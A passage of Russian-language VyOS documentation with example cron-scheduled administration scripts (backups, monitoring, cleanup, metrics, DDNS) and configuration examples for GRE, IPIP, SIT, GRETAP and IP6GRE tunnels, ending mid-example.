Сделать скрипт исполняемым:

```bash
sudo chmod +x /config/scripts/remote-backup.sh
```

### Мониторинг и алерты

```bash
# Проверка доступности критических сервисов каждые 5 минут
set system task-scheduler task service-monitor interval '*/5 * * * *'
set system task-scheduler task service-monitor executable path '/config/scripts/service-monitor.sh'

commit
save
```

Содержимое `/config/scripts/service-monitor.sh`:

```bash
#!/bin/bash

# Список сервисов для проверки
SERVICES=("ssh" "dhcpd")

# Email для алертов
ALERT_EMAIL="admin@example.com"

# Проверка каждого сервиса
for service in "${SERVICES[@]}"; do
    if ! systemctl is-active --quiet "$service"; then
        # Сервис не запущен - отправка алерта
        echo "ALERT: Service $service is not running on $(hostname)" | \
          mail -s "VyOS Service Alert" $ALERT_EMAIL

        # Логирование
        logger -t service-monitor -p user.err "Service $service is not running"

        # Попытка перезапуска
        systemctl restart $service

        if systemctl is-active --quiet "$service"; then
            logger -t service-monitor -p user.notice "Service $service restarted successfully"
        fi
    fi
done
```

### Очистка старых логов и временных файлов

```bash
# Еженедельная очистка в воскресенье в 4:00 AM
set system task-scheduler task weekly-cleanup interval '0 4 * * 0'
set system task-scheduler task weekly-cleanup executable path '/config/scripts/cleanup.sh'

commit
save
```

Содержимое `/config/scripts/cleanup.sh`:

```bash
#!/bin/bash

# Удаление старых сжатых логов (старше 60 дней)
find /var/log -name "*.gz" -mtime +60 -delete

# Удаление старых core dumps
find /var/core -type f -mtime +7 -delete

# Очистка temporary files старше 7 дней
find /tmp -type f -mtime +7 -delete

# Очистка старых DHCP leases
# (осторожно: может потребоваться корректировка под вашу среду)
# find /var/lib/dhcp -name "*.leases~" -mtime +30 -delete

# Логирование
logger -t weekly-cleanup "Weekly cleanup completed"
```

### Интеграция с API для внешних систем

```bash
# Отправка метрик в систему мониторинга каждые 15 минут
set system task-scheduler task send-metrics interval '*/15 * * * *'
set system task-scheduler task send-metrics executable path '/config/scripts/send-metrics.sh'

commit
save
```

Содержимое `/config/scripts/send-metrics.sh`:

```bash
#!/bin/bash

# Конфигурация
MONITORING_SERVER="http://monitoring.example.com:8086"
INFLUXDB_TOKEN="your-token-here"
HOSTNAME=$(hostname)

# Сбор метрик
CPU_LOAD=$(uptime | awk -F'load average:' '{print $2}' | awk '{print $1}' | tr -d ',')
MEM_USAGE=$(free | awk '/Mem:/ {printf "%.2f", ($3/$2)*100}')
DISK_USAGE=$(df -h / | awk '/\// {print $5}' | tr -d '%')

# Отправка в InfluxDB
curl -X POST "${MONITORING_SERVER}/write?db=network_devices" \
  -H "Authorization: Token ${INFLUXDB_TOKEN}" \
  --data-binary "cpu_load,host=${HOSTNAME} value=${CPU_LOAD}
memory_usage,host=${HOSTNAME} value=${MEM_USAGE}
disk_usage,host=${HOSTNAME} value=${DISK_USAGE}"

# Логирование
logger -t send-metrics "Metrics sent to monitoring server"
```

### Ротация конфигураций с Git

```bash
# Ежедневный commit конфигурации в Git репозиторий
set system task-scheduler task git-backup interval '0 1 * * *'
set system task-scheduler task git-backup executable path '/config/scripts/git-backup.sh'

commit
save
```

Содержимое `/config/scripts/git-backup.sh`:

```bash
#!/bin/bash

# Конфигурация Git
GIT_REPO="/config/git-backup"
CONFIG_FILE="/config/config.boot"
HOSTNAME=$(hostname)

# Инициализация репозитория (если нужно)
if [ ! -d "${GIT_REPO}/.git" ]; then
    mkdir -p ${GIT_REPO}
    cd ${GIT_REPO}
    git init
    git config user.email "vyos@${HOSTNAME}"
    git config user.name "VyOS Task Scheduler"
fi

cd ${GIT_REPO}

# Копирование текущей конфигурации
cp ${CONFIG_FILE} ${GIT_REPO}/config.boot

# Commit изменений
git add config.boot
git commit -m "Automated backup on $(date '+%Y-%m-%d %H:%M:%S')"

# Push в удаленный репозиторий (опционально)
# git push origin main

# Логирование
logger -t git-backup "Configuration committed to Git"
```

### Проверка VPN туннелей

```bash
# Проверка IPsec туннелей каждые 10 минут
set system task-scheduler task check-vpn interval '*/10 * * * *'
set system task-scheduler task check-vpn executable path '/config/scripts/check-vpn.sh'

commit
save
```

Содержимое `/config/scripts/check-vpn.sh`:

```bash
#!/bin/bash

# Список peer'ов для проверки
PEERS=("site-b" "site-c")

# Email для алертов
ALERT_EMAIL="network-ops@example.com"

# Проверка каждого peer
for peer in "${PEERS[@]}"; do
    # Проверка состояния туннеля
    STATUS=$(vtysh -c "show vpn ipsec sa" | grep -c "ESTABLISHED")

    if [ "$STATUS" -eq 0 ]; then
        # Туннель не установлен
        echo "VPN tunnel to ${peer} is DOWN on $(hostname) at $(date)" | \
          mail -s "VPN Alert: ${peer}" $ALERT_EMAIL

        logger -t check-vpn -p user.err "VPN tunnel to ${peer} is DOWN"

        # Попытка перезапуска
        sudo ipsec restart
        sleep 10

        # Повторная проверка
        STATUS_AFTER=$(vtysh -c "show vpn ipsec sa" | grep -c "ESTABLISHED")
        if [ "$STATUS_AFTER" -gt 0 ]; then
            logger -t check-vpn -p user.notice "VPN tunnel to ${peer} restored after restart"
        fi
    fi
done
```

## Примеры конфигураций

### Пример 1: Базовое резервное копирование

```bash
# Ежедневное резервное копирование конфигурации в 2:00 AM
set system task-scheduler task daily-backup interval '0 2 * * *'
set system task-scheduler task daily-backup executable path '/config/scripts/backup.sh'

commit
save
```

Скрипт `/config/scripts/backup.sh`:

```bash
#!/bin/bash
DATE=$(date +%Y%m%d)
/opt/vyatta/sbin/vyatta-save-config.pl /config/backups/config-${DATE}.boot
# Удаление старых бэкапов (старше 7 дней)
find /config/backups -name "config-*.boot" -mtime +7 -delete
logger -t daily-backup "Configuration backup completed"
```

### Пример 2: Мониторинг интерфейсов

```bash
# Проверка состояния интерфейсов каждые 5 минут
set system task-scheduler task interface-monitor interval '*/5 * * * *'
set system task-scheduler task interface-monitor executable path '/config/scripts/interface-monitor.sh'

commit
save
```

Скрипт `/config/scripts/interface-monitor.sh`:

```bash
#!/bin/bash

INTERFACES=("eth0" "eth1")
ALERT_EMAIL="admin@example.com"

for iface in "${INTERFACES[@]}"; do
    STATUS=$(ip link show $iface | grep -c "state UP")

    if [ "$STATUS" -eq 0 ]; then
        echo "Interface $iface is DOWN on $(hostname)" | \
          mail -s "Interface Alert" $ALERT_EMAIL
        logger -t interface-monitor -p user.err "Interface $iface is DOWN"
    fi
done
```

### Пример 3: Периодическая очистка DHCP leases

```bash
# Еженедельная очистка старых DHCP leases
set system task-scheduler task cleanup-dhcp interval '0 3 * * 0'
set system task-scheduler task cleanup-dhcp executable path '/usr/bin/systemctl restart isc-dhcp-server'

commit
save
```

### Пример 4: Обновление динамического DNS

```bash
# Обновление DDNS каждые 30 минут (если нет встроенного DDNS)
set system task-scheduler task update-ddns interval '*/30 * * * *'
set system task-scheduler task update-ddns executable path '/config/scripts/update-ddns.sh'

commit
save
```

Скрипт `/config/scripts/update-ddns.sh`:

```bash
#!/bin/bash

DDNS_URL="https://dyndns.example.com/update"
DDNS_TOKEN="your-token-here"
HOSTNAME="router.example.com"

# Получение внешнего IP
CURRENT_IP=$(curl -s ifconfig.me)

# Обновление через API
curl -X POST "${DDNS_URL}" \
  -H "Authorization: Bearer ${DDNS_TOKEN}" \
  -d "hostname=${HOSTNAME}&ip=${CURRENT_IP}"

logger -t update-ddns "DDNS updated with IP ${CURRENT_IP}"
```

### Пример 5: Ежемесячная перезагрузка (Maintenance Window)

```bash
# Перезагрузка в первое воскресенье месяца в 5:00 AM
set system task-scheduler task monthly-reboot interval '0 5 1-7 * 0'
set system task-scheduler task monthly-reboot executable path '/sbin/reboot'

commit
save
```

### Пример 6: Статистика трафика

```bash
# Сбор статистики интерфейсов каждый час
set system task-scheduler task traffic-stats interval '0 * * * *'
set system task-scheduler task traffic-stats executable path '/config/scripts/traffic-stats.sh'

commit
save
```

Скрипт `/config/scripts/traffic-stats.sh`:

```bash
#!/bin/bash

STATS_FILE="/var/log/traffic-stats.log"
DATE=$(date '+%Y-%m-%d %H:%M:%S')

# Получение статистики для eth0
RX_BYTES=$(cat /sys/class/net/eth0/statistics/rx_bytes)
TX_BYTES=$(cat /sys/class/net/eth0/statistics/tx_bytes)

# Запись в лог
echo "${DATE},eth0,${RX_BYTES},${TX_BYTES}" >> ${STATS_FILE}

# Логирование в syslog
logger -t traffic-stats "Statistics collected: RX=${RX_BYTES}, TX=${TX_BYTES}"
```

## Мониторинг и диагностика

### Просмотр настроенных задач

```bash
# Показать все задачи
show system task-scheduler

# Показать конфигурацию в формате команд
show configuration commands | match task-scheduler
```

### Проверка cron jobs

```bash
# Просмотр активных cron jobs
sudo crontab -l

# Логи выполнения cron
show log | match CRON
grep CRON /var/log/syslog
```

### Мониторинг выполнения задач

```bash
# Просмотр syslog для задач планировщика
show log | match task-scheduler

# Последние 50 записей cron
show log tail 50 | match CRON

# Real-time мониторинг
monitor log | match CRON
```

### Тестирование скрипта вручную

```bash
# Запуск скрипта напрямую для тестирования
sudo /config/scripts/backup.sh

# Проверка прав на выполнение
ls -l /config/scripts/

# Просмотр вывода скрипта
sudo bash -x /config/scripts/backup.sh
```

### Проверка последнего выполнения

```bash
# Просмотр временных меток файлов (для скриптов, создающих файлы)
ls -lt /config/backups/

# Логи последнего выполнения
sudo grep "task-name" /var/log/syslog | tail -20
```

## Устранение неполадок

### Проблема: Задача не выполняется

**Диагностика**:

```bash
# 1. Проверка конфигурации задачи
show configuration system task-scheduler task <task-name>

# 2. Проверка cron
sudo crontab -l | grep <task-name>

# 3. Проверка логов cron
grep CRON /var/log/syslog | tail -50

# 4. Проверка прав на скрипт
ls -l /config/scripts/<script-name>

# 5. Ручной запуск скрипта
sudo /config/scripts/<script-name>
```

**Решение**:

```bash
# Сделать скрипт исполняемым
sudo chmod +x /config/scripts/<script-name>

# Проверить синтаксис cron-выражения (должен быть в кавычках)
set system task-scheduler task <task-name> interval '*/5 * * * *'

# Перезапуск cron (если необходимо)
sudo systemctl restart cron

commit
save
```

### Проблема: Скрипт выполняется, но не работает корректно

**Диагностика**:

```bash
# Запуск с debug-выводом
sudo bash -x /config/scripts/<script-name>

# Перенаправление вывода в файл для анализа
sudo /config/scripts/<script-name> > /tmp/debug.log 2>&1
cat /tmp/debug.log

# Проверка переменных окружения
sudo env | sort
```

**Решение**:

Добавить логирование в скрипт:

```bash
#!/bin/bash

# Включить debug
set -x

# Логирование начала
logger -t my-script "Script started"

# Ваш код здесь
...

# Логирование завершения
logger -t my-script "Script completed"

# Перенаправление stderr в syslog
exec 2> >(logger -t my-script)
```

### Проблема: Задача выполняется слишком часто или редко

**Диагностика**:

```bash
# Проверка cron-выражения
show configuration system task-scheduler task <task-name> interval

# Тестирование расписания online
# Используйте https://crontab.guru для проверки синтаксиса
```

**Решение**:

```bash
# Примеры корректировки частоты

# Было: каждую минуту (слишком часто)
# * * * * *

# Изменено: каждые 5 минут
set system task-scheduler task <task-name> interval '*/5 * * * *'

# Было: каждый день в 2:00 AM (слишком редко для критичной задачи)
# 0 2 * * *

# Изменено: каждые 6 часов
set system task-scheduler task <task-name> interval '0 */6 * * *'

commit
save
```

### Проблема: Задача не находит команды или файлы

**Причина**: Cron выполняется с ограниченным PATH и без полного окружения.

**Решение**:

```bash
# В начале скрипта указать полный PATH
#!/bin/bash

# Установка PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Явно указывать полные пути к командам
/usr/bin/curl https://example.com
/opt/vyatta/sbin/vyatta-save-config.pl /tmp/config.boot

# Для VyOS operational commands
source /opt/vyatta/etc/functions/script-template
```

### Проблема: Нет вывода/логов от задачи

**Решение**:

Добавить перенаправление вывода в конфигурацию:

```bash
# Изменить скрипт для логирования всего вывода
#!/bin/bash

# Перенаправить stdout и stderr в syslog
exec 1> >(logger -t my-task -p user.info)
exec 2> >(logger -t my-task -p user.err)

# Теперь весь вывод будет в syslog
echo "This will appear in syslog"
```

Или перенаправить в файл:

```bash
set system task-scheduler task <task-name> executable path '/config/scripts/script.sh >> /var/log/task.log 2>&1'
```

### Проблема: Задача конфликтует с другими операциями

**Сценарий**: Задача резервного копирования конфликтует с изменениями конфигурации.

**Решение**:

Использовать блокировку (locking) в скрипте:

```bash
#!/bin/bash

LOCKFILE="/var/run/my-task.lock"

# Проверка существования lock file
if [ -f "$LOCKFILE" ]; then
    logger -t my-task "Task already running, exiting"
    exit 1
fi

# Создание lock file
touch $LOCKFILE

# Trap для удаления lock file при завершении
trap "rm -f $LOCKFILE" EXIT

# Основная логика скрипта
...

# Lock file будет удален автоматически при exit
```

## Лучшие практики

### 1. Исполняемые права и shebang

Всегда добавляйте shebang и делайте скрипты исполняемыми:

```bash
#!/bin/bash
# Ваш скрипт

# Сделать исполняемым
sudo chmod +x /config/scripts/script.sh
```

### 2. Логирование

Всегда логируйте выполнение задач:

```bash
#!/bin/bash

logger -t my-task "Task started"

# Ваша логика

logger -t my-task "Task completed successfully"
```

### 3. Обработка ошибок

Добавляйте обработку ошибок:

```bash
#!/bin/bash

set -e  # Остановка при ошибке

# Или явная проверка
if ! command_that_might_fail; then
    logger -t my-task -p user.err "Command failed"
    exit 1
fi
```

### 4. Полные пути

Используйте абсолютные пути для команд и файлов:

```bash
# Плохо
cp config.boot /tmp/

# Хорошо
/bin/cp /config/config.boot /tmp/config-backup.boot
```

### 5. Тестирование

Тестируйте скрипты вручную перед добавлением в планировщик:

```bash
# Запуск вручную
sudo /config/scripts/script.sh

# С debug
sudo bash -x /config/scripts/script.sh
```

### 6. Документирование

Комментируйте скрипты и задачи:

```bash
# Создание задачи с описательным именем
set system task-scheduler task daily-config-backup interval '0 2 * * *'
set system task-scheduler task daily-config-backup executable path '/config/scripts/backup.sh'

# В скрипте
#!/bin/bash
# Description: Daily configuration backup to remote server
# Author: Network Team
# Last modified: 2025-10-14
```

### 7. Мониторинг выполнения

Настройте мониторинг критических задач:

```bash
# Отправка статуса в систему мониторинга
curl -X POST https://monitoring.example.com/heartbeat/task-name
```

### 8. Очистка временных файлов

Удаляйте временные файлы после использования:

```bash
#!/bin/bash

TEMP_FILE="/tmp/temp-$$.txt"

# Trap для очистки
trap "rm -f $TEMP_FILE" EXIT

# Использование temp file
...
```

### 9. Безопасность

Не храните пароли в скриптах:

```bash
# Плохо
PASSWORD="secret123"

# Хорошо - используйте SSH keys или токены в защищенных файлах
API_KEY=$(cat /config/auth/api-key.txt)
```

### 10. Расписание и нагрузка

Распределяйте задачи во времени:

```bash
# Избегайте множественных задач в одно время
# Плохо:
# Backup: 0 2 * * *
# Cleanup: 0 2 * * *
# Report: 0 2 * * *

# Хорошо:
# Backup: 0 2 * * *   (2:00 AM)
# Cleanup: 0 3 * * *  (3:00 AM)
# Report: 0 4 * * *   (4:00 AM)
```

## Полезные команды

```bash
# Показать все задачи
show system task-scheduler

# Конфигурация в формате commands
show configuration commands | match task-scheduler

# Просмотр crontab
sudo crontab -l

# Логи cron
show log | match CRON
grep CRON /var/log/syslog

# Ручной запуск скрипта
sudo /config/scripts/script.sh

# Проверка прав
ls -l /config/scripts/

# Тестирование с debug
sudo bash -x /config/scripts/script.sh

# Мониторинг выполнения
monitor log | match task-name

# Редактирование скрипта
edit /config/scripts/script.sh

# Проверка синтаксиса bash-скрипта
bash -n /config/scripts/script.sh

# Перезапуск cron (если нужно)
sudo systemctl restart cron

# Статус cron
sudo systemctl status cron
```

## Интеграция с другими функциями VyOS

### Интеграция с API

```bash
# Периодический вызов VyOS REST API
set system task-scheduler task api-health-check interval '*/10 * * * *'
set system task-scheduler task api-health-check executable path '/config/scripts/api-check.sh'
```

Скрипт:

```bash
#!/bin/bash

API_KEY="your-api-key"
API_URL="https://localhost/retrieve"

RESPONSE=$(curl -k -X POST "${API_URL}" \
  -H "Content-Type: application/json" \
  -H "key: ${API_KEY}" \
  -d '{"op":"showConfig","path":[]}' \
  -w "%{http_code}" -o /dev/null -s)

if [ "$RESPONSE" != "200" ]; then
    logger -t api-check -p user.err "API health check failed: HTTP ${RESPONSE}"
else
    logger -t api-check "API health check OK"
fi
```

### Интеграция с высокой доступностью (VRRP)

```bash
# Проверка VRRP статуса
set system task-scheduler task vrrp-monitor interval '*/5 * * * *'
set system task-scheduler task vrrp-monitor executable path '/config/scripts/vrrp-monitor.sh'
```

### Интеграция с мониторингом производительности

```bash
# Сбор метрик производительности
set system task-scheduler task perf-monitor interval '*/1 * * * *'
set system task-scheduler task perf-monitor executable path '/config/scripts/perf-monitor.sh'
```

## Заключение

Task Scheduler в VyOS - это мощный инструмент для автоматизации рутинных операций и создания отказоустойчивой инфраструктуры. Правильное использование планировщика задач позволяет:

- Автоматизировать резервное копирование и восстановление
- Проактивно мониторить состояние системы и сервисов
- Выполнять регулярное обслуживание без ручного вмешательства
- Интегрироваться с внешними системами мониторинга и управления
- Снизить нагрузку на администраторов

Для production-сред рекомендуется:
- Настроить ежедневное резервное копирование конфигурации
- Мониторить критические сервисы и интерфейсы
- Логировать выполнение всех задач в syslog
- Тестировать скрипты вручную перед добавлением в планировщик
- Документировать все автоматизированные задачи


---

# Tunnel интерфейсы (GRE, IPIP) в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-tunnel/



Tunnel интерфейсы в VyOS позволяют инкапсулировать один протокол в другой для создания виртуальных соединений через существующую инфраструктуру. VyOS поддерживает несколько типов туннелей: GRE, IPIP, SIT, GRETAP, и IP6GRE для различных сценариев соединения сетей.

## Обзор

Tunnel интерфейсы используются для:

- **Соединения удаленных сетей**: Через интернет без VPN overhead
- **IPv6 через IPv4**: SIT туннели для IPv6 транспорта
- **Multicast routing**: GRE поддерживает multicast трафик
- **Обход NAT**: Туннели работают через NAT
- **Legacy connectivity**: Соединение с устаревшим оборудованием
- **Простота настройки**: Легче чем IPsec для некритичных сценариев

### Типы туннелей

| Тип | Инкапсуляция | Использование | Multicast | Шифрование |
|-----|--------------|---------------|-----------|------------|
| **GRE** | IP-in-IP (протокол 47) | Универсальные туннели, routing protocols | Да | Нет |
| **IPIP** | IP-in-IP (протокол 4) | IPv4-только туннели | Нет | Нет |
| **SIT** | IPv6-in-IPv4 | IPv6 через IPv4 сети | Нет | Нет |
| **GRETAP** | Ethernet-in-GRE | Layer 2 туннели (bridging) | Да | Нет |
| **IP6GRE** | IP-in-IPv6 | GRE через IPv6 | Да | Нет |

### Важные особенности

**Преимущества**:
- Простая настройка (без сертификатов, PSK)
- Низкий overhead (меньше чем IPsec)
- Поддержка routing protocols (OSPF, BGP через GRE)
- Multicast support (GRE, GRETAP)

**Недостатки**:
- Нет встроенного шифрования (используйте IPsec для защиты)
- Может быть заблокирован файрволами (протокол 47, 4)
- Не проходит через некоторые NAT (требуется GRE passthrough)

## GRE (Generic Routing Encapsulation)

GRE - это самый универсальный тип туннеля, поддерживающий любые протоколы (IPv4, IPv6, multicast) и работающий с routing protocols.

### Базовая конфигурация GRE

```bash
# Создание GRE туннеля
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30

commit
save
```

**Параметры**:
- `source-address`: Локальный внешний IP-адрес
- `remote`: Удаленный внешний IP-адрес
- `address`: IP-адрес туннельного интерфейса

### GRE с multicast (для OSPF/RIP)

```bash
# GRE туннель для OSPF
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30
set interfaces tunnel tun0 multicast enable

# OSPF через GRE
set protocols ospf area 0 network 10.10.10.0/30
set protocols ospf area 0 network 192.168.1.0/24

commit
save
```

### GRE с IPsec для шифрования

```bash
# GRE туннель
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30

# IPsec для защиты GRE (transport mode)
set vpn ipsec esp-group ESP-GRE mode transport
set vpn ipsec esp-group ESP-GRE proposal 1 encryption aes256
set vpn ipsec esp-group ESP-GRE proposal 1 hash sha256

set vpn ipsec ike-group IKE-GRE key-exchange ikev2
set vpn ipsec ike-group IKE-GRE proposal 1 encryption aes256
set vpn ipsec ike-group IKE-GRE proposal 1 hash sha256

set vpn ipsec site-to-site peer 198.51.100.1 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 198.51.100.1 authentication pre-shared-secret 'SecretKey123!'
set vpn ipsec site-to-site peer 198.51.100.1 ike-group IKE-GRE
set vpn ipsec site-to-site peer 198.51.100.1 local-address 203.0.113.1
set vpn ipsec site-to-site peer 198.51.100.1 tunnel 0 protocol gre

commit
save
```

### GRE ключ (для идентификации туннелей)

```bash
# GRE с ключом (для множественных туннелей к одному endpoint)
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30
set interfaces tunnel tun0 parameters ip key 100

# Второй туннель с другим ключом
set interfaces tunnel tun1 encapsulation gre
set interfaces tunnel tun1 source-address 203.0.113.1
set interfaces tunnel tun1 remote 198.51.100.1
set interfaces tunnel tun1 address 10.10.11.1/30
set interfaces tunnel tun1 parameters ip key 200

commit
save
```

## IPIP Tunnel

IPIP - это простейший тип туннеля, инкапсулирующий IPv4 в IPv4. Не поддерживает multicast, но имеет минимальный overhead.

### Базовая конфигурация IPIP

```bash
# Создание IPIP туннеля
set interfaces tunnel tun0 encapsulation ipip
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30

commit
save
```

### IPIP для простой point-to-point связи

```bash
# Сайт A
set interfaces tunnel tun0 encapsulation ipip
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30

# Статический маршрут к удаленной сети
set protocols static route 192.168.2.0/24 next-hop 10.10.10.2

commit
save
```

```bash
# Сайт B
set interfaces tunnel tun0 encapsulation ipip
set interfaces tunnel tun0 source-address 198.51.100.1
set interfaces tunnel tun0 remote 203.0.113.1
set interfaces tunnel tun0 address 10.10.10.2/30

# Статический маршрут к удаленной сети
set protocols static route 192.168.1.0/24 next-hop 10.10.10.1

commit
save
```

## SIT Tunnel (IPv6-in-IPv4)

SIT (Simple Internet Transition) туннели используются для транспорта IPv6 через IPv4 сети.

### Базовая конфигурация SIT

```bash
# Создание SIT туннеля
set interfaces tunnel tun0 encapsulation sit
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 2001:db8:1::1/64

commit
save
```

### SIT для подключения к IPv6 провайдеру (Hurricane Electric)

```bash
# Пример: Hurricane Electric Tunnel Broker
set interfaces tunnel tun0 encapsulation sit
set interfaces tunnel tun0 source-address 203.0.113.1  # Ваш IPv4
set interfaces tunnel tun0 remote 216.66.84.46        # HE tunnel server
set interfaces tunnel tun0 address 2001:470:1f0a:xxxx::2/64  # Ваш IPv6 (client)

# Маршрут по умолчанию через туннель
set protocols static route6 ::/0 next-hop 2001:470:1f0a:xxxx::1

# IPv6 на LAN интерфейсе
set interfaces ethernet eth1 address 2001:470:1f0b:xxxx::1/64

# Router Advertisement для клиентов
set service router-advert interface eth1 prefix 2001:470:1f0b:xxxx::/64

commit
save
```

### SIT с множественными IPv6 подсетями

```bash
# SIT туннель
set interfaces tunnel tun0 encapsulation sit
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 2001:db8:1::1/64

# Дополнительные IPv6 адреса
set interfaces tunnel tun0 address 2001:db8:2::1/64
set interfaces tunnel tun0 address 2001:db8:3::1/64

commit
save
```

## GRETAP (Ethernet over GRE)

GRETAP инкапсулирует Ethernet frames в GRE, позволяя создавать Layer 2 туннели (для bridging).

### Базовая конфигурация GRETAP

```bash
# Создание GRETAP туннеля
set interfaces tunnel tun0 encapsulation gretap
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1

# MAC адрес туннельного интерфейса (опционально)
set interfaces tunnel tun0 address 00:11:22:33:44:55

commit
save
```

### GRETAP с bridge для L2 extension

```bash
# GRETAP туннель
set interfaces tunnel tun0 encapsulation gretap
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1

# Bridge для расширения L2 сети
set interfaces bridge br0 member interface eth1
set interfaces bridge br0 member interface tun0
set interfaces bridge br0 address 192.168.1.1/24

commit
save
```

Теперь eth1 и удаленная сеть через tun0 находятся в одном L2 broadcast domain.

## IP6GRE (GRE over IPv6)

IP6GRE - это GRE туннели, работающие через IPv6 transport.

### Базовая конфигурация IP6GRE

```bash
# Создание IP6GRE туннеля
set interfaces tunnel tun0 encapsulation ip6gre
set interfaces tunnel tun0 source-address 2001:db8:1::1
set interfaces tunnel tun0 remote 2001:db8:2::1
set interfaces tunnel tun0 address 10.10.10.1/30

commit
save
```

## Примеры конфигураций

### Пример 1: GRE туннель для соединения офисов с OSPF

**Офис A** (203.0.113.1):

```bash
# WAN интерфейс
set interfaces ethernet eth0 address 203.0.113.1/24

# LAN интерфейс
set interfaces ethernet eth1 address 192.168.1.1/24

# GRE туннель к офису B
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30
set interfaces tunnel tun0 multicast enable

# OSPF для динамической маршрутизации
set protocols ospf area 0 network 10.10.10.0/30
set protocols ospf area 0 network 192.168.1.0/24
set protocols ospf parameters router-id 10.255.255.1

# Firewall для GRE (протокол 47)
set firewall ipv4 name WAN_LOCAL rule 100 action accept
set firewall ipv4 name WAN_LOCAL rule 100 protocol gre
set firewall ipv4 name WAN_LOCAL rule 100 source address 198.51.100.1

set interfaces ethernet eth0 firewall local name WAN_LOCAL

commit
save
```

**Офис B** (198.51.100.1):

```bash
# WAN интерфейс
set interfaces ethernet eth0 address 198.51.100.1/24

# LAN интерфейс
set interfaces ethernet eth1 address 192.168.2.1/24

# GRE туннель к офису A
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 198.51.100.1
set interfaces tunnel tun0 remote 203.0.113.1
set interfaces tunnel tun0 address 10.10.10.2/30
set interfaces tunnel tun0 multicast enable

# OSPF
set protocols ospf area 0 network 10.10.10.0/30
set protocols ospf area 0 network 192.168.2.0/24
set protocols ospf parameters router-id 10.255.255.2

# Firewall для GRE
set firewall ipv4 name WAN_LOCAL rule 100 action accept
set firewall ipv4 name WAN_LOCAL rule 100 protocol gre
set firewall ipv4 name WAN_LOCAL rule 100 source address 203.0.113.1

set interfaces ethernet eth0 firewall local name WAN_LOCAL

commit
save
```

### Пример 2: GRE + IPsec для безопасного туннеля

**Сайт A**:

```bash
# GRE туннель
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30

# IPsec в transport mode для защиты GRE
set vpn ipsec esp-group ESP-GRE mode transport
set vpn ipsec esp-group ESP-GRE proposal 1 encryption aes256
set vpn ipsec esp-group ESP-GRE proposal 1 hash sha256

set vpn ipsec ike-group IKE-GRE key-exchange ikev2
set vpn ipsec ike-group IKE-GRE proposal 1 encryption aes256
set vpn ipsec ike-group IKE-GRE proposal 1 hash sha256

set vpn ipsec site-to-site peer 198.51.100.1 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 198.51.100.1 authentication pre-shared-secret 'StrongPassword123!'
set vpn ipsec site-to-site peer 198.51.100.1 ike-group IKE-GRE
set vpn ipsec site-to-site peer 198.51.100.1 local-address 203.0.113.1
set vpn ipsec site-to-site peer 198.51.100.1 tunnel 0 protocol gre

# Статический маршрут
set protocols static route 192.168.2.0/24 next-hop 10.10.10.2

commit
save
```

### Пример 3: IPIP туннель для простой связи

```bash
# Сайт A
set interfaces tunnel tun0 encapsulation ipip
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.10.1/30

# MTU adjustment (IPIP overhead = 20 bytes)
set interfaces tunnel tun0 mtu 1480

# Статический маршрут
set protocols static route 192.168.2.0/24 next-hop 10.10.10.2

commit
save
```

### Пример 4: SIT туннель для IPv6 (Hurricane Electric)

```bash
# Получить параметры от tunnelbroker.net

# SIT туннель
set interfaces tunnel tun0 encapsulation sit
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 216.66.84.46
set interfaces tunnel tun0 address 2001:470:1f0a:1234::2/64
set interfaces tunnel tun0 description 'HE IPv6 Tunnel'

# Маршрут по умолчанию IPv6
set protocols static route6 ::/0 next-hop 2001:470:1f0a:1234::1

# Routed /48 на LAN
set interfaces ethernet eth1 address 2001:470:1f0b:1234::1/64

# Router Advertisement
set service router-advert interface eth1 prefix 2001:470:1f0b:1234::/64

commit
save
```

### Пример 5: Hub-and-Spoke с GRE

**Hub (головной офис)**:

```bash
# Туннель к Spoke 1
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1
set interfaces tunnel tun0 address 10.10.1.1/30
set interfaces tunnel tun0 parameters ip key 100

# Туннель к Spoke 2
set interfaces tunnel tun1 encapsulation gre
set interfaces tunnel tun1 source-address 203.0.113.1
set interfaces tunnel tun1 remote 198.51.100.2
set interfaces tunnel tun1 address 10.10.2.1/30
set interfaces tunnel tun1 parameters ip key 200

# Туннель к Spoke 3
set interfaces tunnel tun2 encapsulation gre
